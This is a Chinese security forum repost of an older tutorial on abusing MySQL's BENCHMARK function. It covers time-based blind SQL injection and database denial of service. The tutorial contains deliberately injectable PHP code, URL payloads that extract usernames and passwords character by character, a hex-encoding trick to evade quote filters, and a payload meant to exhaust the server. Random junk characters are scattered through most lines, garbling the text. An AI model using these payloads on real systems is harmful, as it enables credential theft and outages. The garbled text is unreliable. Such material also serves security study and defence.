中国网络渗透测试联盟

标题: MYSQL中BENCHMARK函数的利用 [打印本页]

作者: admin    时间: 2012-9-15 14:03
标题: MYSQL中BENCHMARK函数的利用
MYSQL中BENCHMARK函数的利用
: y9 Z, J5 H; R: M1 y本文作者:SuperHei
' B5 V" ~" C; f/ @2 u" }8 ]) v8 m$ \文章性质:原创
4 l8 a1 U& R2 e! r" L" n& S# T发布日期:2005-01-02, K, ?( Y5 k- a) K2 k/ r7 w- {
完成日期:2004-07-09 9 ]. I, Y- d# e8 F1 N& ^/ C9 x$ ?4 M( Y
第一部
+ w0 w1 S  c9 [( J
( L5 r3 P" \3 V7 o' b9 Y6 k利用时间推延进行注射---BENCHMARK函数在注射中的利用
% z' Z& @7 U) G& C* u2 }
3 I7 G  j7 A. M7 \一.前言/思路4 f9 I+ F8 K. `: E
  z- b7 |: J7 T1 E5 `' X% b
  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。7 S/ j+ c- I* l; [7 m! e" W

3 U" A: P/ J0 O' ?0 `1 s  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
6 ^' x3 E% ?" j: y; h# |/ o9 |, ^
2 j7 c/ v3 \+ L: L( O! X) U) h二.关于BENCHMARK函数9 q  o- Z8 C. I3 e

, D! q+ v2 {4 m1 \6 N  在MySQL参考手册里可以看到如下描叙:
0 g3 {, H" ~- T8 O
5 f7 O, l8 F$ `1 ?. a- ^( q7 h3 t% {  {3 z2 s. k1 S
--------------------------------------------------------------------------------
5 G8 Z6 S: V  `  r& t& F
. X' o, ?3 L3 P1 }BENCHMARK(count,expr) 0 \: `; [" i. q/ U/ g$ q! H( y9 ?, _
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 + T- a: S6 A1 h
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
$ s0 h. P: H/ p) `1 i9 ?7 G+----------------------------------------------+
/ w. a+ [: Y& H/ u& T. G/ W3 A4 }| BENCHMARK(1000000,encode("hello","goodbye")) |
0 Q% Q5 M- b6 f" B+ Y: K+----------------------------------------------+ 2 [4 J" E) c( }8 f' y
| 0 | / g1 W1 k% K5 T# X
+----------------------------------------------+
" f. j( p4 ]) j% O2 F1 row in set (4.74 sec)
6 \% {4 b. @$ h: S
$ T$ p; Z, p8 Z0 e: N: A报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
* G8 l. k+ h3 S- R2 W
' i+ L8 l! B) T% E2 D: B$ Q
- G0 E+ b8 e3 n3 }3 G$ K2 Z! y--------------------------------------------------------------------------------$ f! ~! h6 c& N# f
. p) D9 `5 t: q' s' h' x/ Q* a
  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
) N$ o) j- X. i4 E0 H) I! O" W2 d: `: b
mysql> select md5( 'test' );
7 d0 P$ ?# r7 Z' v5 L& v+----------------------------------+
. M- H0 A0 g: B- L& M' k| md5( 'test' ) |
8 ~) {* E" b, y8 h+----------------------------------+ ; J+ T2 ]6 R5 p
| 098f6bcd4621d373cade4e832627b4f6 | ( }; x% n7 g" A) s5 l* [
+----------------------------------+ , Z$ @% L6 G/ H( {; G1 R3 R4 m
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
8 |/ E% ~( S" n0 ~0 H3 E7 U/ s* c% a
mysql> select benchmark( 500000, md5( 'test' ) );
# r9 }3 A& y, P2 J" l4 t8 j9 ^' `3 \+------------------------------------+ ' {: P0 T! h0 |+ c1 M
| benchmark( 500000, md5( 'test' ) ) |
: S1 M. E0 @, t9 p9 c; l+------------------------------------+
+ A  f, ?+ y# Z; T. A* x| 0 | " Z  X% ^- A1 N# P  g
+------------------------------------+ 8 B$ }  R& S' A
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec8 _8 Y- _  `% w) M
, I1 J7 r! D! Y, z! h! H
, P, Q  a; Y+ k/ [5 G
  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 ' U( F7 M4 m9 {- p$ o1 _

; o- w8 |' K$ ^$ v; k4 x% b$ c! l三.具体例子
9 F5 V7 f2 Q5 L; p% a
+ p8 j- x. F$ I& G# a  首先我们看个简单的php代码:9 j2 V5 h, h& N: y8 j- B, P
" Y) V. o# r# z# ~3 H
< ?php . J. P2 r% s2 f8 U$ S5 V
$servername = "localhost"; ! ]& _% x) E1 I5 l- F3 L: i- Q! S
$dbusername = "root"; / C& l6 U% P+ _, w) H8 H
$dbpassword = ""; " K% s. l" G$ Q! h1 H9 f& T
$dbname = "injection"; $ s& `5 s% j* [9 n
! g9 m! b5 e8 Q4 `6 ^; o7 C9 G
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
3 u! v0 U* F0 x9 |( A) X7 M# |1 c0 s$ G# D' f  N  l; g
$sql = "SELECT * FROM article WHERE articleid=$id";
- D& ~- h# F( h: g$result = mysql_db_query($dbname,$sql);
, V2 [' i, r* [& g+ c$row = mysql_fetch_array($result);
9 z) `- l1 v* _  e  K2 H- @3 {# Y1 j- X3 i1 r; ]8 x# B% l
if (!$row) 5 _6 r" y3 w7 ~2 b0 M5 ?5 ^; a: E
{
" H& D; s0 e0 Z3 B) y& Qexit; , f; N% O( n% [/ N, A/ z, ~
} 4 s- ?/ W* o, ^, a
?>
5 F% i( h8 m8 J. B3 @   _# S6 A0 Y& R; ~  j3 i& H

9 y4 @4 ^0 X4 v$ T' k' ?  数据库injection结构和内容如下:
% {* U1 F) y6 A! |$ {& u6 I
0 i: i/ u; G- f8 z# 数据库 : `injection`
2 S: _# e, h0 d/ h" x/ A#
- T% y1 E6 Z+ x' K7 d2 k, h! B- p" y- Q  D
# --------------------------------------------------------
# z8 g) |' x( s* q% C5 `- r3 n" l, |: K% x3 r; n2 w3 y
# & i2 \0 f! C% L* i% I
# 表的结构 `article`
' @; d" [, k% {8 G#
3 F- y# m% k' s" o
) R: d* A1 L. B" T7 E# r7 {CREATE TABLE `article` (
6 N& t! ]$ f. E; a* ~6 f`articleid` int(11) NOT NULL auto_increment, . g$ \% I  |+ y( }
`title` varchar(100) NOT NULL default '', % U* f- [0 ]2 O3 l3 o$ w
`content` text NOT NULL,
- z, Z! O- Q9 T2 zPRIMARY KEY (`articleid`)
4 p: ^! |& z+ u) TYPE=MyISAM AUTO_INCREMENT=3 ; ( d- I% l9 h/ a. l5 U$ E8 H. U
, X  L' b$ A4 U# U. U1 U
#
% }: {- F( d# h6 u& @# 导出表中的数据 `article`
: m5 {. x5 {0 L5 ?# + H- [* D* D$ M9 O) O

2 z" f& i2 k* O) i# ~- P$ SINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); # E9 ?- {! O  o: [% r% w1 \9 {
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
; b, S/ r; h( @9 o. d+ T( C1 Z/ z  @* x1 ^. ~
# --------------------------------------------------------   j2 m1 o  I8 G' M) H! y
8 Q- _/ y5 E8 I7 r# t# U1 D
# $ R/ d1 x' V. S
# 表的结构 `user`
. }; S* _0 ?4 U5 x  e1 _#
5 _$ B- ~: D, k& C) y! v
  e  u: {% r' o8 K  }: `CREATE TABLE `user` (
9 G% w: e" `: C`userid` int(11) NOT NULL auto_increment, 3 N! K/ R# G$ P+ h" d  w
`username` varchar(20) NOT NULL default '', : e; T% d) `+ M! X
`password` varchar(20) NOT NULL default '',
9 `1 [8 o/ v' n; J% EPRIMARY KEY (`userid`)
8 o, w# i( t$ d" `4 H6 p9 N) TYPE=MyISAM AUTO_INCREMENT=3 ;
, T9 a, _1 |0 _! }, y8 W) l
2 _( E/ t9 ~. z# J) O0 v#
3 b' {: S  d! |+ j" S$ ]# 导出表中的数据 `user` 1 u* E4 W9 U# t' A& s
#
3 h: f3 z8 k: w  b8 @* q0 v1 D
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
+ E' L/ i3 ], p0 [9 eINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
, @$ k7 g6 z, n  u; _# Z+ E, E + }7 l: K' q3 ?) L/ a. Z

* s- M! i, W  K6 a  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:2 F7 L, m- N) }; ~  I& r& o. V5 w& m
* K0 U/ V, I% v5 W. r
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*5 H' d4 b: u5 \

7 L% m8 s& z, Q+ B9 u7 u  o7 K* l
  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:8 U0 q2 s6 J" d

. Y, d* \1 H, G" D% J5 x1 e3 Ihttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
# `1 ~1 n; Q" d" I& g" P' d& c3 v' M 5 L, V: k8 L/ b5 P1 G1 Z
! h7 B9 B) T4 u1 K" V5 ?$ a
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 9 M& n, g5 D& [

& ^. D) ~. A; u4 y! @; ^* B0 ?# n( F1 H  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 . m7 b& Q: g; B5 q2 _

' G5 v6 F1 Y# c" f! n- m第二部
9 G) B& P; x7 q. m# u0 s( h$ ^0 I8 S# B* U
利用BENCHMARK函数进行ddos攻击
% G% P; `* E& O
: w! T4 C$ |/ D  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
+ a$ F/ _7 g2 @" Z' J+ ], j% ?# v. D
# H/ ^+ F1 z# q$ s4 Uhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
# b4 m# z# v9 s6 i- `+ ] 2 _1 W0 M5 R% l" B( w% L% _

5 d6 ^% A1 ?, p' e/ d小结
! L8 p4 i+ R" F6 d% h0 x
$ E( Q0 R5 a5 p" ^  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
  Y) d) l5 O9 E5 X- W: F
5 }7 V$ ^2 `/ o( E  
( C, k, y- Y, R! F0 {$ v  X




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2